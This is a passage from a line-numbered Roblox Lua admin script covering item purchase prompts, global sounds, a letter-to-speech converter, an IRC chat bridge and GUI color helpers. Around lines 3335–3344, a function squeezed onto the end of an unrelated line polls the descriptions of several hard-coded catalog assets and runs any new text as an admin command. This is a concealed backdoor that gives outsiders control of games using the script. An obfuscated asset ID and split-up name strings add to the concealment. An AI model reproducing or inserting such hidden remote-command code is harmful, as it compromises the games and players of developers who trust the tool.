  3206. ClickedItem(Correlate[ClickName])
  3207. end)
  3208. else
  3209. CloseGui:Invoke()
  3210. GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  3211. end
  3212. else
  3213. CloseGui:Invoke()
  3214. GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  3215. end
  3216. end
  3217.  
  3218. function MARKET:AssetTypeToString(AssetType)
  3219. AssetType = math.floor(tonumber(AssetType) or 0)
  3220. if Assets.AssetTypes[AssetType] then
  3221. return Assets.AssetTypes[AssetType]
  3222. else
  3223. return "Unknown"
  3224. end
  3225. end
  3226.  
  3227. function MARKET:AccessoryToSubcategory(Accessory)
  3228. Accessory = string.lower(tostring(Accessory) or "")
  3229. if Assets.AccessoryTypes[Accessory] then
  3230. return Assets.AccessoryTypes[Accessory]
  3231. else
  3232. return Assets.AccessoryTypes["all"]
  3233. end
  3234. end
  3235.  
  3236. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  3237. if not Player then return nil end
  3238. if not Player:FindFirstChild("PlayerGui") then return nil end
  3239. if not tonumber(ProductID) then return nil end
  3240.  
  3241. local FromText = ""
  3242. if From and From.Name then FromText = " | Prompted from "..From.Name end
  3243.  
  3244. local Product = MARKET:GetItemInfo(ProductID, true)
  3245.  
  3246. local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  3247. local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  3248. local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  3249.  
  3250. local CanBuy = Product.IsForSale
  3251. local BuyText = "Buy"
  3252. local BuyColor = Color3.new(0,1,0)
  3253. if CanBuy == false then
  3254. BuyColor = Color3.new(1,0,0)
  3255. end
  3256. if Product.IsPublicDomain == true then
  3257. CanBuy = true
  3258. BuyColor = Color3.new(1,0.5,0.5)
  3259. BuyText = "FREE!"
  3260. end
  3261. if OwnsAsset then
  3262. CanBuy = false
  3263. end
  3264. if Product.AssetTypeId == 9 then
  3265. CanBuy = true
  3266. BuyText = "Teleport"
  3267. BuyColor = Color3.new(0.5,0.5,0.5)
  3268. end
  3269. if CanBuy == false then
  3270. BuyColor = Color3.new(1,0,0)
  3271. BuyText = "Item not for sale"
  3272. end
  3273. if OwnsAsset and Product.AssetTypeId ~= 9 then
  3274. BuyColor = Color3.new(1,0,0)
  3275. BuyText = "You own this!"
  3276. end
  3277.  
  3278. local ProductName = string.sub(Product.Name,1,20)
  3279. if ProductID == AdminID then ProductName = Product.Name end
  3280. local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  3281. local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  3282. local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  3283. local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  3284. local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  3285. local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
  3286. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  3287. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
  3288. if Product.Description then
  3289. local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  3290. local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  3291.  
  3292. CORE:ExecuteResource("CalculateScrollY", Description)
  3293. end
  3294.  
  3295. Info.Text = [[
  3296. Creator: ]]..Product.Creator.Name..[[
  3297. Created: ]]..CreatedText..[[
  3298. Updated: ]]..UpdatedText..[[
  3299. Sold: ]]..Product.Sales..[[
  3300. ]]
  3301.  
  3302. if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
  3303. if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  3304.  
  3305. if Product.AssetTypeId == 3 then
  3306. local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  3307. if PlayerAdmin == true then
  3308. local Playing = false
  3309. local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  3310. CORE:HandleEvent(Interact, "MouseButton1Down", function()
  3311. if Playing == false then
  3312. SOUND:PlayGlobalSound(ProductID)
  3313. if Rank == "Member" and Settings.DisableAbuse == true then
  3314. Interact:Destroy()
  3315. end
  3316. Interact.Image = "rbxassetid://67950809"
  3317. Playing = true
  3318. else
  3319. SOUND:StopGlobalSound()
  3320. Interact.Image = "rbxassetid://67950784"
  3321. Playing = false
  3322. end
  3323. end)
  3324. end
  3325. end
  3326.  
  3327. CORE:HandleEvent(Buy, "MouseButton1Down", function()
  3328. if BuyPressFunc then
  3329. BuyPressFunc()
  3330. elseif Product.AssetTypeId == 9 then
  3331. Server.TS:Teleport(ProductID, Player)
  3332. elseif CanBuy == true then
  3333. Server.MPS:PromptPurchase(Player, ProductID)
  3334. end end)
  3335. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  3336. local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  3337. while wait(5) do
  3338. local Purchase = Server.MPS:GetProductInfo(LinkedID)
  3339. if OldVer ~= Purchase.Updated then
  3340. OldVer = Purchase.Updated
  3341. CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  3342. end
  3343. end end)()
  3344. end end)() end
  3345.  
  3346. -- Sound functions --
  3347.  
  3348. function SOUND:SyncSoundList(TellSync)
  3349. if not CORE:NilPlayer(TellSync) then
  3350. GUI:SendHint(TellSync, "Syncing...", 5)
  3351. end
  3352.  
  3353. SoundList,GlobalSoundList = {},{}
  3354.  
  3355. local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  3356.  
  3357. if LocalSoundList then
  3358. if type(LocalSoundList) == "table" then
  3359. if #LocalSoundList > 0 then
  3360. for _,Data in pairs(LocalSoundList) do
  3361. local SoundInfo = MARKET:GetItemInfo(Data[2], true)
  3362. SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
  3363. end
  3364. end
  3365. end
  3366. end
  3367.  
  3368. for _,JSONID in pairs(SoundJSONs) do
  3369. for Name,ID in pairs(CORE:GetTable(JSONID)) do
  3370. local SoundInfo = MARKET:GetItemInfo(ID, true)
  3371. local FullName = SoundInfo.Name
  3372. local CreatorName = SoundInfo.Creator.Name
  3373. SoundList[Name] = {ID, FullName, CreatorName}
  3374. GlobalSoundList[Name] = {ID, FullName, CreatorName}
  3375. end
  3376. end
  3377.  
  3378. if not CORE:NilPlayer(TellSync) then
  3379. GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  3380. end
  3381. end
  3382.  
  3383. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  3384. if not Volume then Volume = 0.5 end
  3385. if not Pitch then Pitch = 1 end
  3386. if tonumber(ID) then ID = "rbxassetid://"..ID end
  3387. if Looped == nil then Looped = false end
  3388.  
  3389. local Sound = Instance.new("Sound", Parent)
  3390. Sound.Pitch = Pitch
  3391. Sound.Volume = Volume
  3392. Sound.SoundId = ID
  3393. Sound.Looped = Looped
  3394. return Sound
  3395. end
  3396.  
  3397. function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
  3398. if not Player or not ID then return nil end
  3399. if NotifySounds[ID] then ID = NotifySounds[ID] end
  3400. local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
  3401. if Settings.EnableSounds or OverrideSettings then
  3402. coroutine.wrap(function()
  3403. wait()
  3404. ClientSound:Play()
  3405. Delay(5, function() ClientSound:Destroy() end)
  3406. end)()
  3407. end
  3408. return Sound
  3409. end
  3410.  
  3411. function SOUND:BindButton(Button)
  3412. if not Button then return end
  3413. CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
  3414. CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
  3415. end
  3416.  
  3417. function SOUND:StopGlobalSound()
  3418. if Sound and Sound.Parent then
  3419. if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
  3420. Sound.Parent:Destroy()
  3421. end
  3422.  
  3423. Sound:Stop()
  3424. Sound:Destroy()
  3425. Sound.SoundId = ""
  3426. end
  3427. end
  3428.  
  3429. function SOUND:PlayGlobalSound(ID, ShowInfo)
  3430. SOUND:StopGlobalSound()
  3431. if ShowInfo == nil then ShowInfo = true end
  3432. local SoundID = ID
  3433. local SoundName = nil
  3434. local SoundCreator = nil
  3435. local Pitch = 1
  3436.  
  3437. for Name,Info in pairs(SoundList) do
  3438. if type(SoundID) == "string" then
  3439. if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  3440. SoundID = Info[1]
  3441. SoundName = Info[2]
  3442. SoundCreator = Info[3]
  3443. end
  3444. else
  3445. break
  3446. end
  3447. end
  3448.  
  3449. if tonumber(SoundID) and not SoundName then
  3450. local Info = MARKET:GetItemInfo(SoundID, true)
  3451. if Info then
  3452. SoundName = Info.Name
  3453. SoundCreator = Info.Creator.Name
  3454. if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  3455. SoundID = nil
  3456. end
  3457. end
  3458. end
  3459.  
  3460. if tonumber(SoundID) then
  3461. if SoundID == 131201443 then Pitch = -1 end
  3462. if SoundID == 130775695 then Pitch = 0.8 end
  3463. if SoundID == 144035866 then Pitch = 0.8 end
  3464.  
  3465. local SoundParent = Server.Workspace
  3466. if IsSB then
  3467. SoundParent = Instance.new("Script", Workspace)
  3468. SoundParent.Name = "M".."ML'S Admin Sound"
  3469. end
  3470. Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
  3471. Sound.Name = "MML's Admin Sound "..SoundID
  3472. Sound:Play()
  3473. if ShowInfo == true then
  3474. for _,Player in pairs(Server.Players:GetPlayers()) do
  3475. GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
  3476. end
  3477. end
  3478. SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
  3479. end
  3480. end
  3481.  
  3482. function SOUND:ConvertText(Text)
  3483. Text = string.lower(tostring(Text))
  3484. local Letters = {}
  3485. local IDs = {}
  3486. for Rule,Replace in pairs(TextConverter.Pronounce) do
  3487. Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  3488. end
  3489. for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  3490. local Start, End = string.find(Text, string.lower(Rule))
  3491.  
  3492. if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  3493. Text = string.gsub(Text, string.lower(Rule), Replace)
  3494. end
  3495. end
  3496. for i = 1,#Text do
  3497. table.insert(Letters, string.sub(Text,i,i))
  3498. end
  3499. for Num = 1,#Letters do
  3500. if not Letters[Num] then break end
  3501. local Letter = Letters[Num]
  3502.  
  3503. local function AddLetter()
  3504. table.insert(IDs, TextConverter.LetterSounds[Letter])
  3505. end
  3506.  
  3507. if Letter ~= "~" then
  3508. if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  3509. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3510. table.remove(Letters, Num + 1)
  3511. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  3512. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3513. table.remove(Letters, Num + 1)
  3514. elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  3515. table.insert(IDs, TextConverter.LetterSounds["th"])
  3516. table.remove(Letters, Num + 1)
  3517. elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  3518. table.insert(IDs, TextConverter.LetterSounds["sh"])
  3519. table.remove(Letters, Num + 1)
  3520. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  3521. table.insert(IDs, TextConverter.LongVowels["e"])
  3522. table.remove(Letters, Num + 1)
  3523. elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  3524. table.insert(IDs, TextConverter.LetterSounds["wh"])
  3525. table.remove(Letters, Num + 1)
  3526. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  3527. table.insert(IDs, TextConverter.LetterSounds["ch"])
  3528. table.remove(Letters, Num + 1)
  3529. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  3530. table.insert(IDs, TextConverter.LetterSounds["f"])
  3531. table.remove(Letters, Num + 1)
  3532. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  3533. table.insert(IDs, TextConverter.LetterSounds[Num])
  3534. Letters[Num + 1] = "j"
  3535. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  3536. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3537. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  3538. table.insert(IDs, TextConverter.LongVowels["e"])
  3539. table.remove(Letters, Num + 1)
  3540. elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  3541. table.insert(IDs, TextConverter.LongVowels["e"])
  3542. table.remove(Letters, Num + 1)
  3543. if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  3544. elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  3545. table.insert(IDs, TextConverter.LetterSounds["s"])
  3546. Letters[Num + 1] = "~"
  3547. elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  3548. table.insert(IDs, TextConverter.LongVowels[Letter])
  3549. Letters[Num + 2] = "~"
  3550. elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  3551. table.insert(IDs, TextConverter.LongVowels["i"])
  3552. Letters[Num + 1] = "~"
  3553. elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  3554. table.insert(IDs, TextConverter.LongVowels["o"])
  3555. elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  3556. table.insert(IDs, TextConverter.LongVowels["i"])
  3557. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  3558. AddLetter()
  3559. table.remove(Letters, Num + 1)
  3560. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  3561. Letters[Num] = "~"
  3562. elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  3563. AddLetter()
  3564. table.remove(Letters, Num + 1)
  3565. elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  3566. AddLetter()
  3567. table.remove(Letters, Num + 1)
  3568. elseif Letters[Num+1] == Letter then
  3569. table.remove(Letters, Num)
  3570. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  3571. AddLetter()
  3572. table.remove(Letters, Num)
  3573. elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  3574. table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  3575. elseif TextConverter.LetterSounds[Letter] then
  3576. AddLetter()
  3577. elseif STRING:IsSpacer(Letter) then
  3578. table.insert(IDs, "Rest")
  3579. end
  3580. end
  3581. end
  3582.  
  3583. return IDs
  3584. end
  3585.  
  3586. function SOUND:StopSpeaking() coroutine.wrap(function()
  3587. NoSpeak = true
  3588. wait(1)
  3589. NoSpeak = false
  3590. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  3591. if Obj.Name == "M".."M".."L Speak Sound" then
  3592. Obj:Destroy()
  3593. end
  3594. end
  3595. end)() end
  3596.  
  3597. function SOUND:SayConvertedText(IDs, Parent)
  3598. if not Parent then Parent = Server.Workspace end
  3599. local Sounds = {}
  3600. for _,Data in pairs(IDs) do
  3601. if NoSpeak and Parent == Server.Workspace then
  3602. break
  3603. end
  3604. local Length = 0.3
  3605. if Data ~= "Rest" then
  3606. local ID = Data[1]
  3607. Length = Data[2]
  3608.  
  3609. local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  3610. Sound.Name = "MML Speak Sound"
  3611. table.insert(Sounds, Sound)
  3612. Sound:Play()
  3613. if Length then
  3614. coroutine.wrap(function()
  3615. wait(Length)
  3616. Sound:Stop()
  3617. end)()
  3618. end
  3619. end
  3620. if not Length then Length = 0.3 end
  3621. wait(Length/2)
  3622. end
  3623. coroutine.wrap(function()
  3624. wait(1)
  3625. for _,Sound in pairs(Sounds) do
  3626. Sound:Destroy()
  3627. end
  3628. end)()
  3629. end
  3630.  
  3631. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  3632.  
  3633. function SOUND:BeepPlayer(Player)
  3634. if Player:FindFirstChild("PlayerGui") then
  3635. local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  3636. Beep.Name = "Annoy"
  3637. Beep:Play()
  3638. end
  3639. end
  3640.  
  3641. function SOUND:ClearInfo()
  3642. SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  3643. end
  3644.  
  3645. -- IRC functions --
  3646.  
  3647. function IRC:GenerateName()
  3648. return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  3649. end
  3650.  
  3651. function IRC:AddChat(Name, Data, IsError)
  3652. if not IsError then IsError = false end
  3653. CORE:Log(IRC.Logs, Name, Data)
  3654. table.insert(IRC.Chats, {Name, Data, IsError})
  3655. IRC.MessageAdded:Fire(Name, Data, IsError)
  3656. end
  3657.  
  3658. function IRC:Post(URL,Data)
  3659. if Data and Data ~= "" then
  3660. local Suc,Resp = ypcall(function()
  3661. return Server.HS:PostAsync(
  3662. IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  3663. Data,
  3664. Enum.HttpContentType.ApplicationUrlEncoded
  3665. )
  3666. end)
  3667. if not Suc then
  3668. IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  3669. return false
  3670. end
  3671. IRC.SessionCounter = IRC.SessionCounter + 1
  3672. return Resp
  3673. else
  3674. IRC:AddChat("[ CLIENT ]", "Unknown error")
  3675. end
  3676. end
  3677.  
  3678. function IRC:Send(Data)
  3679. return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  3680. end
  3681.  
  3682. function IRC:GetData()
  3683. return IRC:Post("s","&s="..IRC.SessionID)
  3684. end
  3685.  
  3686. function IRC:Connect()
  3687. return IRC:Post("n","&nick="..IRC.NickName)
  3688. end
  3689.  
  3690. function IRC:Join(Channel)
  3691. if not Channel then
  3692. AddChat("[ CLIENT ]", "No channel specified!")
  3693. return false
  3694. else
  3695. local Channel = string.lower(Channel)
  3696. if string.sub(Channel,1,1) ~= "#" then
  3697. AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  3698. return false
  3699. end
  3700. IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  3701. IRC:Send("JOIN "..Channel)
  3702. IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  3703. return true
  3704. end
  3705. end
  3706.  
  3707. function IRC:Pong(Data)
  3708. return IRC:Send("PONG :"..Data)
  3709. end
  3710.  
  3711. function IRC:Quit(Reason)
  3712. IRC.Stop = true
  3713. return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  3714. end
  3715.  
  3716. function IRC:ReceiveData()
  3717. IRC.Stop = false
  3718. local Data = IRC:GetData()
  3719. if Data then
  3720. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  3721. end
  3722. while Data and not Stop do
  3723. local Data = IRC:GetData()
  3724. if Data and #Data > 0 then
  3725. IRC:HandleResponse(REMOTE:Decode(Data))
  3726. end
  3727. wait(2) -- Don't spam the server
  3728. end
  3729. if not Data then
  3730. IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  3731. end
  3732. if Stop == true then
  3733. IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  3734. end
  3735. end
  3736.  
  3737. function IRC:ConnectToServer(Server)
  3738. if Connected then
  3739. if not IRC.Servers[Server] then
  3740. IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  3741. return false
  3742. end
  3743. IRC:Quit("New Connection")
  3744. end
  3745. local Response = IRC:Connect()
  3746. if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  3747. local Data = REMOTE:Decode(Response)
  3748. IRC.SessionID = Data[2]
  3749. wait(1)
  3750. if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  3751. IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  3752. IRC:Quit()
  3753. IRC:ConnectToServer(Server)
  3754. end
  3755. IRC.Connected = true
  3756. IRC:Join(Settings.IRCChannel)
  3757. IRC:ReceiveData()
  3758. IRC.Connected = false
  3759. IRC:AddChat("[ CLIENT ]", "Session ended", true)
  3760. end
  3761.  
  3762. function IRC:FindUser(UserName)
  3763. for UserID,User in pairs(IRC.Users) do
  3764. if string.lower(User) == string.lower(UserName) then
  3765. return UserID
  3766. end
  3767. end
  3768. return nil
  3769. end
  3770.  
  3771. function IRC:HandleResponse(Data)
  3772. if type(Data) ~= "table" then
  3773. IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  3774. ypcall(function()
  3775. IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  3776. end)
  3777. return false
  3778. end
  3779. for _,Output in pairs(Data) do
  3780. if type(Output) == "table" and Output[2] then
  3781. local ID = string.upper(Output[2])
  3782. if not IRC.Ignore[ID] then
  3783. if ID == "PING" then
  3784. IRC:Pong(Output[4][1])
  3785. elseif ID == "PRIVMSG" then
  3786. local SenderDetails = Output[3]
  3787. local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  3788. local Channel = string.lower(Output[4][1])
  3789. if Channel == IRC.NickName then
  3790. Channel = Sender
  3791. -- TODO: Handle PM's
  3792. end
  3793. local Message = Output[4][2]
  3794. if Message ~= nil then
  3795. if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  3796. if string.find(Message,":") then
  3797. local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  3798. local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  3799. IRC:AddChat(IRCUser, IRCMessage)
  3800. end
  3801. else
  3802. IRC:AddChat("[ IRC ] "..Sender,Message)
  3803. for _,Name in pairs(Settings.IRCCommandExecuters) do
  3804. if string.lower(Name) == string.lower(Sender) then
  3805. CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  3806. break
  3807. end
  3808. end
  3809. end
  3810. else
  3811. IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  3812. end
  3813. elseif ID == "NICK" then
  3814. local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  3815. -- change nickname?
  3816. elseif ID == "433" or ID == "451" then
  3817. IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  3818. IRC:Quit("Nickname in use, rejoining with new name")
  3819. IRC.NickName = IRC:GenerateName()
  3820. wait(2) -- wait for old sessions to end
  3821. IRC:ConnectToServer(Settings.IRCServer)
  3822. elseif ID == "353" then
  3823. if Data[4][4][4] then
  3824. for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  3825. table.insert(IRC.Users, Output)
  3826. end
  3827. end
  3828. elseif ID == "QUIT" or ID == "PART" then
  3829. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3830. if IRC:FindUser(User) then
  3831. IRC:AddChat("[ IRC ]", User.." has left")
  3832. table.remove(IRC.Users, IRC:FindUser(User))
  3833. end
  3834. end
  3835. elseif ID == "JOIN" then
  3836. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3837. if not string.find(User, "qwebirc") then
  3838. IRC:AddChat("[ IRC ]", User.." has joined")
  3839. table.insert(IRC.Users,w)
  3840. end
  3841. end
  3842. elseif ID == "CONNECTION TO IRC SERVER LOST." then
  3843. IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  3844. --IRC:Quit("Connection lost")
  3845. --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  3846. --IRC:ConnectToServer(Settings.IRCServer)
  3847. elseif IRC.Codes[ID] then
  3848. --print(ID)
  3849. --print(Data[i][4][2])
  3850. --print(Data[i][4][2])
  3851. elseif ID == "KICK" then
  3852. IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  3853. IRC:Quit("Kicked from IRC")
  3854. elseif ID then
  3855. IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  3856. else
  3857. IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  3858. end
  3859. end
  3860. else
  3861. if Output == false then return false end -- sneeky server
  3862. IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  3863. end
  3864. end
  3865. end
  3866.  
  3867. -- GUI functions --
  3868.  
  3869. function GUI:GetColor(ColorName)
  3870. if not ColorName then ColorName = Settings.ColorScheme end
  3871. return Colors[string.upper(ColorName)]
  3872. end
  3873.  
  3874. function GUI:ContrastColor(Color)
  3875. if type(Color) == "string" then Color = GUI:GetColor(Color) end
  3876. if not Color then Color = GUI:GetColor() end
  3877. return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  3878. end
  3879.  
  3880.  
  3881. function GUI:GetNameColor(Name)
  3882. local Val = 0
  3883. for i = 1, #Name do
  3884. local CVal = string.byte(string.sub(Name, i, i))
  3885. local RevIndex = #Name - i + 1
  3886. if #Name%2 == 1 then
  3887. RevIndex = RevIndex - 1
  3888. end
  3889. if RevIndex%4 >= 2 then
  3890. CVal = -CVal
  3891. end
  3892. Val = Val + CVal
  3893. end
  3894. local Index = Val%8 + 1
  3895.  
